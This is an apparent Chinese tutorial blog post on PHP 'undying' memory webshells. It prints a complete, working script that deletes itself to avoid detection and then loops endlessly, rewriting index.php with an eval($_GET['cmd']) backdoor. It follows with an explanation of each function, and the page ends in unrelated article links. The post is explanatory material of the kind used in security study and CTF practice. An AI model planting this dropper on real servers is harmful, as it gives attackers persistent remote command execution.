PHP内存马:不死马

内存马概念

内存马是无文件攻击的一种常用手段,利用中间件的进程执行某些恶意代码。首先要讲的是PHP不死马,实质上就是直接用代码弄一个死循环,强占一个 PHP 进程,并不间断的写一个PHP shell,或者执行一段代码。

不死马剖析

php 复制代码
<?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    while (1) {
        $content = '<?php @eval($_GET["cmd"]);?>';
        file_put_contents("index.php", $content);
        usleep(10000);
    }   
?>
  • set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)
  • ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为True,则忽略与用户的断开)
  • unlink(FILE)函数:删除文件(防止文件落地被检测工具查杀)
  • file_put_contents函数:将一个字符串写入该文件中
  • usleep函数:延迟执行当前脚本数微秒,即条件竞争

需要特别注意的是,执行 unlink( _ _ FILE _ _ ) 并不会删除正在运行的 PHP 脚本本身,因为脚本在执行过程中已经被加载到内存中。相反,它会删除磁盘上的文件,如果文件正在被其他进程使用,删除操作可能会失败。

相关推荐
(Charon)14 小时前
【C++面试】线程并发与异步:区别、实现原理及使用场景
开发语言·c++
AIFQuant14 小时前
Python A股实时行情API接入:沪深股票数据与WebSocket推送实战
开发语言·python·websocket·金融·a股行情
用户21816970493014 小时前
Kotlin 语法二
android
2302_8057710714 小时前
Day23:POM设计模式(封装)
java·开发语言·设计模式
十年Java程序媛14 小时前
Java String、StringBuilder、StringBuffer 底层原理|字符串拼接性能与线程安全
java·开发语言·spring boot·安全·面试
Cx330❀14 小时前
Qt 界面美化指南:从零掌握 QSS 核心机制与工程实践
开发语言·qt·ui·性能优化·图形渲染
妖星14 小时前
android 源码分析surfaceFinger是如何通过设置属性启动bootanim
android
JoyMonitor14 小时前
APK mmap 内存增长定位:pagemap 与 DEX 结构联合定位方法
android
有什么事14 小时前
永久虚拟免费云手机能实现吗,本地安卓容器与云端托管的技术边界
android·智能手机
可乐ea14 小时前
2000 个智能体把 Agent 重写成 Rust:编排流水线拆解
开发语言·后端·rust·多智能体协作·ai编程助手·智能体编排·rust重写